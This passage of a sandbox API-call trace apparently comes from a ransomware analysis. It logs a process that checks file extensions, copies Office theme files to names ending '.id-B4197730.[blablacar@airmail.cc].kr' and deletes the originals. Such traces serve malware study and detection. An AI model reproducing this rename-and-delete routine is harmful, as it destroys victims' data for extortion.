(lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91 [0186.755] lstrlenW (lpString=".doc") returned 4 [0186.755] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0186.755] lstrlenW (lpString=".docx") returned 5 [0186.755] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0186.755] lstrlenW (lpString=".pdf") returned 4 [0186.755] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0186.755] lstrlenW (lpString=".xls") returned 4 [0186.755] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0186.755] lstrlenW (lpString=".xlsx") returned 5 [0186.755] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0186.755] lstrlenW (lpString=".ppt") returned 4 [0186.755] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0186.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91 [0186.755] lstrlenW (lpString=".zip") returned 4 [0186.755] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0186.755] lstrlenW (lpString=".rar") returned 4 [0186.755] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0186.755] lstrlenW (lpString=".bz2") returned 4 [0186.755] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0186.755] lstrlenW (lpString=".7z") returned 3 [0186.755] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0186.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91 [0186.755] lstrlenW (lpString=".dbf") returned 4 [0186.755] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0186.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91 [0186.755] lstrlenW (lpString=".1cd") returned 4 [0186.755] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0186.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91 [0186.755] lstrlenW (lpString=".jpg") returned 4 [0186.755] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0186.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91 [0186.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91 [0186.756] lstrlenW (lpString=".doc") returned 4 [0186.756] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0186.756] lstrlenW (lpString=".docx") returned 5 [0186.756] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0186.756] lstrlenW (lpString=".pdf") returned 4 [0186.756] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0186.756] lstrlenW (lpString=".xls") returned 4 [0186.756] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0186.756] lstrlenW (lpString=".xlsx") returned 5 [0186.756] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0186.756] lstrlenW (lpString=".ppt") returned 4 [0186.756] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0186.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91 [0186.756] lstrlenW (lpString=".zip") returned 4 [0186.756] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0186.756] lstrlenW (lpString=".rar") returned 4 [0186.756] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0186.756] lstrlenW (lpString=".bz2") returned 4 [0186.756] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0186.756] lstrlenW (lpString=".7z") returned 3 [0186.756] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0186.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91 [0186.756] lstrlenW (lpString=".dbf") returned 4 [0186.756] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0186.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91 [0186.756] lstrlenW (lpString=".1cd") returned 4 [0186.756] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0186.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91 [0186.756] lstrlenW (lpString=".jpg") returned 4 [0186.756] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0186.757] lstrcmpiW (lpString1=".eftx", lpString2=".kr") returned -1 [0186.757] lstrlenW (lpString="Glossy.eftx") returned 11 [0186.757] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glossy.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0186.757] GetFileSizeEx (in: hFile=0x4d8, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=335038) returned 1 [0186.757] CloseHandle (hObject=0x4d8) returned 1 [0186.757] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glossy.eftx")) returned 0x220 [0186.758] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glossy.eftx.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0186.758] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glossy.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0186.758] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0186.758] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0186.758] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glossy.eftx.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0186.759] GetLastError () returned 0x0 [0186.759] ReadFile (in: hFile=0x4d8, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x51cbe, lpOverlapped=0x0) returned 1 [0187.254] WriteFile (in: hFile=0x538, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x51cc0, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x51cc0, lpOverlapped=0x0) returned 1 [0187.291] ReadFile (in: hFile=0x4d8, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0187.291] WriteFile (in: hFile=0x538, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0xea, lpOverlapped=0x0) returned 1 [0187.291] SetEndOfFile (hFile=0x538) returned 1 [0187.291] CloseHandle (hObject=0x538) returned 1 [0187.291] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0187.291] SetEndOfFile (hFile=0x4d8) returned 1 [0187.300] CloseHandle (hObject=0x4d8) returned 1 [0187.300] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0187.301] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glossy.eftx")) returned 1 [0187.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83 [0187.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83 [0187.301] lstrlenW (lpString=".doc") returned 4 [0187.301] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0187.302] lstrlenW (lpString=".docx") returned 5 [0187.302] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0187.302] lstrlenW (lpString=".pdf") returned 4 [0187.302] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0187.302] lstrlenW (lpString=".xls") returned 4 [0187.302] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0187.302] lstrlenW (lpString=".xlsx") returned 5 [0187.302] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0187.302] lstrlenW (lpString=".ppt") returned 4 [0187.302] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0187.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83 [0187.302] lstrlenW (lpString=".zip") returned 4 [0187.302] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0187.302] lstrlenW (lpString=".rar") returned 4 [0187.302] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0187.302] lstrlenW (lpString=".bz2") returned 4 [0187.302] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0187.302] lstrlenW (lpString=".7z") returned 3 [0187.302] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0187.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83 [0187.302] lstrlenW (lpString=".dbf") returned 4 [0187.302] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0187.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83 [0187.302] lstrlenW (lpString=".1cd") returned 4 [0187.302] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0187.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83 [0187.302] lstrlenW (lpString=".jpg") returned 4 [0187.302] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0187.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83 [0187.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83 [0187.303] lstrlenW (lpString=".doc") returned 4 [0187.303] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0187.303] lstrlenW (lpString=".docx") returned 5 [0187.303] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0187.303] lstrlenW (lpString=".pdf") returned 4 [0187.303] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0187.303] lstrlenW (lpString=".xls") returned 4 [0187.303] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0187.303] lstrlenW (lpString=".xlsx") returned 5 [0187.303] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0187.303] lstrlenW (lpString=".ppt") returned 4 [0187.303] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0187.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83 [0187.303] lstrlenW (lpString=".zip") returned 4 [0187.303] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0187.303] lstrlenW (lpString=".rar") returned 4 [0187.303] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0187.303] lstrlenW (lpString=".bz2") returned 4 [0187.303] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0187.303] lstrlenW (lpString=".7z") returned 3 [0187.303] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0187.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83 [0187.303] lstrlenW (lpString=".dbf") returned 4 [0187.303] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0187.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83 [0187.303] lstrlenW (lpString=".1cd") returned 4 [0187.303] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0187.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83 [0187.303] lstrlenW (lpString=".jpg") returned 4 [0187.303] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0187.304] lstrcmpiW (lpString1=".eftx", lpString2=".kr") returned -1 [0187.304] lstrlenW (lpString="Smokey Glass.eftx") returned 17 [0187.304] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\smokey glass.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0187.304] GetFileSizeEx (in: hFile=0x4d8, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=186195) returned 1 [0187.304] CloseHandle (hObject=0x4d8) returned 1 [0187.304] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\smokey glass.eftx")) returned 0x220 [0187.305] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\smokey glass.eftx.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0187.305] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\smokey glass.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0187.305] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0187.305] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0187.305] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\smokey glass.eftx.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0187.306] GetLastError () returned 0x0 [0187.306] ReadFile (in: hFile=0x4d8, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x2d753, lpOverlapped=0x0) returned 1 [0187.382] WriteFile (in: hFile=0x538, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x2d760, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x2d760, lpOverlapped=0x0) returned 1 [0187.387] ReadFile (in: hFile=0x4d8, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0187.387] WriteFile (in: hFile=0x538, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0xf6, lpOverlapped=0x0) returned 1 [0187.388] SetEndOfFile (hFile=0x538) returned 1 [0187.388] CloseHandle (hObject=0x538) returned 1 [0187.401] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0187.401] SetEndOfFile (hFile=0x4d8) returned 1 [0187.407] CloseHandle (hObject=0x4d8) returned 1 [0187.407] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0187.409] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\smokey glass.eftx")) returned 1 [0187.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89 [0187.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89 [0187.410] lstrlenW (lpString=".doc") returned 4 [0187.410] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0187.410] lstrlenW (lpString=".docx") returned 5 [0187.410] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0187.410] lstrlenW (lpString=".pdf") returned 4 [0187.410] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0187.410] lstrlenW (lpString=".xls") returned 4 [0187.410] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0187.410] lstrlenW (lpString=".xlsx") returned 5 [0187.410] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0187.410] lstrlenW (lpString=".ppt") returned 4 [0187.410] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0187.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89 [0187.410] lstrlenW (lpString=".zip") returned 4 [0187.410] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0187.410] lstrlenW (lpString=".rar") returned 4 [0187.410] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0187.410] lstrlenW (lpString=".bz2") returned 4 [0187.410] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0187.410] lstrlenW (lpString=".7z") returned 3 [0187.410] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0187.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89 [0187.410] lstrlenW (lpString=".dbf") returned 4 [0187.411] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0187.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89 [0187.411] lstrlenW (lpString=".1cd") returned 4 [0187.411] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0187.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89 [0187.411] lstrlenW (lpString=".jpg") returned 4 [0187.411] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0187.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89 [0187.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89 [0187.411] lstrlenW (lpString=".doc") returned 4 [0187.411] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0187.411] lstrlenW (lpString=".docx") returned 5 [0187.411] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0187.411] lstrlenW (lpString=".pdf") returned 4 [0187.411] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0187.411] lstrlenW (lpString=".xls") returned 4 [0187.411] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0187.411] lstrlenW (lpString=".xlsx") returned 5 [0187.411] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0187.411] lstrlenW (lpString=".ppt") returned 4 [0187.411] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0187.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89 [0187.411] lstrlenW (lpString=".zip") returned 4 [0187.411] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0187.411] lstrlenW (lpString=".rar") returned 4 [0187.411] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0187.411] lstrlenW (lpString=".bz2") returned 4 [0187.411] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0187.411] lstrlenW (lpString=".7z") returned 3 [0187.411] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0187.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89 [0187.411] lstrlenW (lpString=".dbf") returned 4 [0187.412] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0187.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89 [0187.412] lstrlenW (lpString=".1cd") returned 4 [0187.412] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0187.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89 [0187.412] lstrlenW (lpString=".jpg") returned 4 [0187.412] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0187.412] lstrcmpiW (lpString1=".eftx", lpString2=".kr") returned -1 [0187.412] lstrlenW (lpString="Subtle Solids.eftx") returned 18 [0187.412] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\subtle solids.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0187.413] GetFileSizeEx (in: hFile=0x4d8, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=45435) returned 1 [0187.413] CloseHandle (hObject=0x4d8) returned 1 [0187.413] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\subtle solids.eftx")) returned 0x220 [0187.413] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\subtle solids.eftx.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0187.414] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\subtle solids.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0187.414] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0187.414] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0187.414] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\subtle solids.eftx.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0187.414] GetLastError () returned 0x0 [0187.414] ReadFile (in: hFile=0x4d8, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0xb17b, lpOverlapped=0x0) returned 1 [0187.563] WriteFile (in: hFile=0x520, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xb180, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0xb180, lpOverlapped=0x0) returned 1 [0187.581] ReadFile (in: hFile=0x4d8, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0187.581] WriteFile (in: hFile=0x520, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0xf8, lpOverlapped=0x0) returned 1 [0187.581] SetEndOfFile (hFile=0x520) returned 1 [0187.581] CloseHandle (hObject=0x520) returned 1 [0187.603] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0187.603] SetEndOfFile (hFile=0x4d8) returned 1 [0187.611] CloseHandle (hObject=0x4d8) returned 1 [0187.611] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0188.416] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\subtle solids.eftx")) returned 1 [0188.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90 [0188.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90 [0188.417] lstrlenW 